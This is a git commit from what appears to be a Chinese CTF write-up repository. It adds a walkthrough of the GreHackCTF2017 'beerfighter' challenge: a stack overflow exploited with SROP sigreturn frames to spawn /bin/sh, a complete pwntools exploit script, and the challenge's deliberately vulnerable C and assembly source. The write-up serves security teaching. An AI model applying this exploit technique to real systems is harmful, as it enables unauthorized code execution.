finish 6.1.5

This commit is contained in:
firmianay 2017-11-24 10:57:02 +08:00
parent 4b6c272230
commit 2a535943e8
20 changed files with 688 additions and 12 deletions

View File

@ -51,14 +51,14 @@ x86 体系下函数的调用总是这样的:
栈帧对应的汇编代码: 栈帧对应的汇编代码:
```text ```text
PUSH ebp ; 函数开始使用ebp前先把已有值保存到栈中 PUSH ebp ; 函数开始使用ebp前先把已有值保存到栈中
MOV ebp, esp ; 保存当前esp到ebp中 MOV ebp, esp ; 保存当前esp到ebp中
...   ; 函数体 ... ; 函数体
 ; 无论esp值如何变化ebp都保持不变可以安全访问函数的局部变量、参数 ; 无论esp值如何变化ebp都保持不变可以安全访问函数的局部变量、参数
MOV esp, ebp  ; 将函数的其实地址返回到esp中 MOV esp, ebp ; 将函数的其实地址返回到esp中
POP ebp   ; 函数返回前弹出保存在栈中的ebp值 POP ebp ; 函数返回前弹出保存在栈中的ebp值
RET ; 函数返回并跳转 RET ; 函数返回并跳转
``` ```
函数调用后栈的标准布局如下图: 函数调用后栈的标准布局如下图:
@ -209,7 +209,7 @@ void *sbrk(intptr_t increment);
在上图中我们看到 brk 指示堆结束地址start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset这是由于 ASLR 的作用,如果关闭了 ASLR则 Random brk offset 为 0堆结束地址和数据段开始地址重合。 在上图中我们看到 brk 指示堆结束地址start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset这是由于 ASLR 的作用,如果关闭了 ASLR则 Random brk offset 为 0堆结束地址和数据段开始地址重合。
例子:[源码](../src/Others/1.5.7_brk.c) 例子:[源码](../src/Others/1.5.7_brk.c)
``` ```C
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void main() { void main() {
@ -348,7 +348,7 @@ int munmap(void *addr, size_t len);
``` ```
例子:[源码](../src/Others/1.5.7_mmap.c) 例子:[源码](../src/Others/1.5.7_mmap.c)
``` ```C
#include <stdio.h> #include <stdio.h>
#include <sys/mman.h> #include <sys/mman.h>
#include <unistd.h> #include <unistd.h>
@ -424,7 +424,7 @@ void *realloc(void *ptr, size_t size);
``` ```
示例: 示例:
``` ```C
#include<stdio.h> #include<stdio.h>
#include<malloc.h> #include<malloc.h>
void foo(int n) { void foo(int n) {

View File

@ -1,7 +1,7 @@
# 6.1.4 pwn BackdoorCTF2017 Fun-Signals # 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- [SROP 原理](#srop-原理) - [SROP 原理](#srop-原理)
- [Linux 系统调用](#Linux 系统调用) - [Linux 系统调用](#linux-系统调用)
- [signal 机制](#signal-机制) - [signal 机制](#signal-机制)
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals) - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -155,7 +155,7 @@ io.interactive()
``` ```
``` ```
$ python2 exp_funsignals.py $ python2 exp_funsignals.py
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin' [*] '/home/firmy/Desktop/funsignals_player_bin'
Arch: amd64-64-little Arch: amd64-64-little
RELRO: No RELRO RELRO: No RELRO
Stack: No canary found Stack: No canary found

View File

@ -1,6 +1,179 @@
# 6.1.5 pwn GreHackCTF2017 beerfighter # 6.1.5 pwn GreHackCTF2017 beerfighter
- [题目解析](#题目解析) - [题目解析](#题目解析)
- [Exploit](#exploit)
## 题目解析 ## 题目解析
```
$ file game
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
```
64 位静态链接stripped。
既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault
```
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 1
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
How should I call you?
[0] Tell him your name
[1] Leave
Type your action number > 0
Type your character name here >
...
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 3
By !
Segmentation fault (core dumped)
```
程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:
```
[0x00400d8e]> pdf @ fcn.00400773
/ (fcn) fcn.00400773 15
| fcn.00400773 ();
| ; CALL XREF from 0x00400221 (fcn.004001f3)
| ; CALL XREF from 0x004002b6 (fcn.00400288)
| 0x00400773 4889f8 mov rax, rdi
| 0x00400776 4889f7 mov rdi, rsi
| 0x00400779 4889d6 mov rsi, rdx
| 0x0040077c 4889ca mov rdx, rcx
| 0x0040077f 0f05 syscall
\ 0x00400781 c3 ret
```
`syscall;ret`,你想到了什么,对,就是前面讲的 SROP。
其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`
```
gdb-peda$ pattern_offset $ebp
1849771374 found at offset: 1040
```
缓冲区还挺大的,`1040+8=1048`。
好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”从而拿到 shell。
构造 sigreturn
```
$ ropgadget --binary game --only "pop|ret"
...
0x00000000004007b2 : pop rax ; ret
```
```python
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
```
然后是 frame_1通过设定 `frame_1.rsp = base_addr` 来转移栈:
```python
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
```
frame_2 执行 `execve()`
```python
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
```
Bingo!!!
```
$ python2 exp.py
[*] '/home/firmy/Desktop/game'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './game': pid 12975
[*] Switching to interactive mode
By !
$ whoami
firmy
```
## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)相应文件夹中:
```python
from pwn import *
elf = ELF('./game')
io = process('./game')
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("> ")
io.sendline("0")
io.recvuntil("> ")
context.clear()
context.arch = "amd64"
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
base_addr = data_addr + 0x8 # new stack address
# useful gadget
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
syscall_addr = 0x000000000040077f # syscall ;
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
payload_1 = "A" * 1048
payload_1 += sigreturn
payload_1 += str(frame_1)
io.sendline(payload_1)
io.recvuntil("> ")
io.sendline("3")
payload_2 = "/bin/sh\x00"
payload_2 += sigreturn
payload_2 += str(frame_2)
io.sendline(payload_2)
io.interactive()
```

View File

@ -0,0 +1,40 @@
SRC_DIR = src
INC_DIR = inc
OBJ_DIR = obj
BIN_DIR = bin
OUT_DIR = $(OBJ_DIR) $(BIN_DIR)
CC = gcc
LD = gcc
INC = -I $(INC_DIR)
DEBUGFLAG=-g
CFLAGS= $(INC) -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
LDFLAGS= -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
MKDIR_P = mkdir -p
.PHONY: directories
OBJ_FILES = $(OBJ_DIR)/main.o $(OBJ_DIR)/io.o $(OBJ_DIR)/strings.o $(OBJ_DIR)/lib.o
ASM_FILES = $(SRC_DIR)/syscalls.S $(SRC_DIR)/start.S $(SRC_DIR)/gadgets.S
TARGET = $(BIN_DIR)/aaaaaa
all: directories $(TARGET)
directories: $(OUT_DIR)
$(OUT_DIR):
$(MKDIR_P) $(OUT_DIR)
$(TARGET): $(OBJ_FILES)
$(LD) $(LDFLAGS) $(OBJ_FILES) $(ASM_FILES) -o $(TARGET)
$(OBJ_DIR)/%.o : $(SRC_DIR)/%.c $(INC_DIR)/*.h
$(CC) $(CFLAGS) -c $< -o $@
.PHONY: clean
clean:
rm -f $(TARGET) $(OBJ_FILES) $(BIN_DIR)/*

View File

@ -0,0 +1,9 @@
# Exploit 250
Category: Exploit
Points: 250
Author: Valno
Description:
> Play the game at: www.myabandonware.com:5500

View File

@ -0,0 +1,56 @@
from pwn import *
elf = ELF('./game')
io = process('./game')
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("> ")
io.sendline("0")
io.recvuntil("> ")
context.clear()
context.arch = "amd64"
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
base_addr = data_addr + 0x8 # new stack address
# useful gadget
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
syscall_addr = 0x000000000040077f # syscall ;
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
payload_1 = "A" * 1048
payload_1 += sigreturn
payload_1 += str(frame_1)
io.sendline(payload_1)
io.recvuntil("> ")
io.sendline("3")
payload_2 = "/bin/sh\x00"
payload_2 += sigreturn
payload_2 += str(frame_2)
io.sendline(payload_2)
io.interactive()

Binary file not shown.

View File

@ -0,0 +1,28 @@
#ifndef __IO_H__
#define __IO_H__
#include "types.h"
#include "syscall_constants.h"
#include "syscalls.h"
#define STDIN 0
#define STDOUT 1
#define STDERR 2
static intptr write(int fd, void const* data, uintptr nbytes);
uintptr strlen(char const* str);
uintptr puts(char const* str);
intptr read(int fd, char* buf, uintptr count);
int getchar(void);
char* gets(char* str);
char* fgets(char *str, int n, int stream);
int getdigit(char *inputphrase, int a, int b);
#endif

View File

@ -0,0 +1,26 @@
#ifndef __LIB__H_
#define __LIB_H__
#include "syscall_constants.h"
#include "strings.h"
#include "io.h"
#define SIZEBUF 2048
#define SIZENAME 1024
struct Character{
char name[SIZENAME];
unsigned int level;
};
void city_hall(struct Character* perso);
void welcome_message();
int village_place(struct Character* perso);
void bar();
void champion();
#endif

View File

@ -0,0 +1,6 @@
#ifndef __STRINGS_H__
#define __STRINGS_H__
char* strncpy(char* dest, const char* src, int n);
#endif

View File

@ -0,0 +1,7 @@
#ifndef __SYSCALL_CONSTANTS_H__
#define __SYSCALL_CONSTANTS_H__
#define SYS_read 0
#define SYS_write 1
#endif

View File

@ -0,0 +1,17 @@
#ifndef __SYSCALLS_H__
#define __SYSCALLS_H__
#include <types.h>
void* syscall0(
uintptr number
);
void* syscall3(
uintptr number,
void* arg1,
void* arg2,
void* arg3
);
#endif

View File

@ -0,0 +1,7 @@
#ifndef __TYPES_H__
#define __TYPES_H__
typedef unsigned long int uintptr; /* size_t */
typedef long int intptr; /* ssize_t */
#endif

View File

@ -0,0 +1,27 @@
.intel_syntax noprefix
.intel_syntax noprefix
inc rdi
ret
xor rdi, rdi
ret
pop rsi
ret
and rdx, rsi
ret
and rcx, rsi
ret
pop r8
ret
pop rax
ret
mov dword ptr [rsi], r8d
ret

View File

@ -0,0 +1,75 @@
#include "io.h"
static intptr write(int fd, void const* data, uintptr nbytes){
return (intptr) syscall3(
SYS_write, /* SYS_write */
(void*)(intptr) fd,
(void*)data,
(void*)nbytes
);
}
uintptr strlen(char const* str){
char const *p;
for(p=str; *p; p++);
return p - str;
}
uintptr puts(char const* str){
return write(STDOUT, str, strlen(str));
}
intptr read(int fd, char* buf, uintptr count){
return (intptr) syscall3(
SYS_read,
(void*)(intptr) fd,
(void*) buf,
(void*) count
);
}
int getchar(void){
char c[1];
read(STDIN, c, 1);
return (int) c[0];
}
char* gets(char* str){
char c;
char *r = str;
for(c=getchar(); c != '\n' && c != '\0'; str++, c=getchar()){
*str = c;
}
*str = '\0';
return r;
}
char* fgets(char *str, int n, int stream){
char c=getchar();
int i = 0;
char *r = str;
char d[2];
while(c != '\n'){
if(i<n-1){
*str = c;
str++;
}
i++;
c = getchar();
}
*str = '\0';
return r;
}
int getdigit(char *inputphrase, int a, int b){
char str[3];
puts(inputphrase);
fgets(str, 3, STDIN);
while(strlen(str) != 1 || str[0]>57-9+b || str[0]<48+a){
puts("Invalid number, try again.\n");
puts(inputphrase);
fgets(str, 3, STDIN);
puts("\n");
}
return str[0]-48;
}

View File

@ -0,0 +1,144 @@
#include "lib.h"
void welcome_message(){
char *message = "\n"
"__________________________________\n"
"\n"
"--- Welcome in BeerFigher III ---\n"
"__________________________________\n"
"\n"
"You just arrived in the small village of Foo in\n"
"the country, after a long day of travel.\n"
"Thirsty, you could just go and grab a beer at the\n"
"bar. You may also go in the city hall and get\n"
"registered with the mayor.\n"
"\n"
"\n";
puts(message);
}
void city_hall(struct Character* perso){
char digit;
char name[SIZEBUF];
puts("Welcome ");
puts(perso->name);
puts("! I am the mayor of this small town and my role is to register the names of its citizens.\nHow should I call you?\n");
puts("[0] Tell him your name\n");
puts("[1] Leave\n");
digit = getdigit("Type your action number > ", 0, 1);
switch(digit){
case 0:
puts("Type your character name here > ");
fgets(name, SIZEBUF, STDIN);
strncpy(perso->name, name, SIZEBUF);
puts("\n");
break;
case 1:
puts("You just left the old man without even saying \"Good bye\"\n");
break;
default:
puts("Invalid action\n");
break;
}
}
int village_place(struct Character* perso){
char *message = "\n\n"
" ~ ~~ __\n"
" _T .,,. ~--~ ^^\n"
" ^^ // \\ ~\n"
" ][O] ^^ ,-~ ~\n"
" /''-I_I _II____\n"
" __/_ / \\ ______/ '' /'\\_,__\n"
" | II--'''' \\,--:--..,_/,.-{ },\n"
" ; '/__\\,.--';| |[] .-.| O{ _ }\n"
" :' | | [] -| ''--:.;[,.'\\,/\n"
" ' |[]|,.--'' '', ''-,. |\n"
" .. ..-'' ; ''. '\n"
"\n"
"You are in the village square.\n"
"In front of you can see the entrance of the local\n"
"bar from where one could hear laughter and singing.\n"
"On your\n"
"left stands is the massive front of the city hall that\n"
"dominates the village. On your right, in the \n"
"shadow of the bar, an alley filled with unconscious bodies and\n"
"empty pints leads to a dark yard where the most\n"
"valiant barflies of the country can face each other.\n"
"It's time to choose in which place you will enter !\n"
"------------\n\n";
char *choice0 = "[0] The bar\n";
char *choice1 = "[1] The City Hall\n";
char *choice2 = "[2] The dark yard\n";
char *choice3 = "[3] Leave the town for ever\n";
puts(message);
puts(choice0);
puts(choice1);
puts(choice2);
puts(choice3);
int digit = getdigit("Type your action number > ", 0, 3);
switch(digit){
case 0:
bar();
break;
case 1:
city_hall(perso);
break;
case 2:
champion();
break;
case 3:
puts("By !\n");
return 0;
break;
default:
puts("Invalid choice\n");
break;
}
return 1;
}
void bar(){
char digit;
char *message = "\n\n"
" _.._..,_,_ \n"
" ( )\n"
" ]~,\"-.-~~[ Welcome in Foo bar\n"
" .=])' (; ([ ---\n"
" | ]:: ' [ We are currently close\n"
" '=]): .) ([ Please, come back later\n"
" |:: ' |\n"
" ~~----~~\n"
"\n\n";
puts(message);
puts("[0] Leave\n");
digit = getdigit("Type your action number > ", 0, 0);
switch(digit){
case 0:
puts("You just left the bar\n");
break;
default:
puts("Invalid action\n");
break;
}
}
void champion(){
char digit;
puts("\n\n-- Feature currently in development...\n\n");
puts("[0] Leave\n");
digit = getdigit("Type your action number > ", 0, 0);
switch(digit){
case 0:
puts("You just left the yard\n");
break;
default:
puts("Invalid action\n");
break;
}
}

View File

@ -0,0 +1,16 @@
#include "syscalls.h"
#include "io.h"
#include "lib.h"
char a[6] = {5, 8, 7, 6, 2, 7};
int main(int argc, char **argv){
struct Character perso = { "Newcomer", 0};
welcome_message();
while(village_place(&perso));
puts("\n");
return 0;
}

View File

@ -0,0 +1,18 @@
.intel_syntax noprefix
.text
.globl _start
_start:
xor rbp, rbp /* rbp = 0 */
pop rdi /* rdi = argc */
mov rsi, rsp /*rsi = (char*) argv[] */
and rsp, -16 /* last 4 bytes of rsp to 0 */
call main
mov rdi, rax /* syscall param 1 = return value of main */
mov rax, 60 /* SYS_exit */
syscall
ret

View File

@ -0,0 +1,10 @@
#include "strings.h"
char* strncpy(char* dest, const char* src, int n){
char* r = dest;
for(int i=0; i<n; i++, src++, dest++)
*dest = *src;
*dest = 0;
return r;
}

View File

@ -0,0 +1,17 @@
.intel_syntax noprefix
.text
.globl syscall0, syscall1, syscall2, syscall3, syscall4, syscall5
syscall0:
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
syscall /* enter syscall */
ret
syscall3:
mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
mov rdi, rsi /* rdi (syscall param 1) = func param 2 (rsi) */
mov rsi, rdx /* rsi (syscall param 2) = func param 3 (rdx) */
mov rdx, rcx /* rdx (syscall param 3) = func param 4 (rcx) */
syscall /* enter syscall */
ret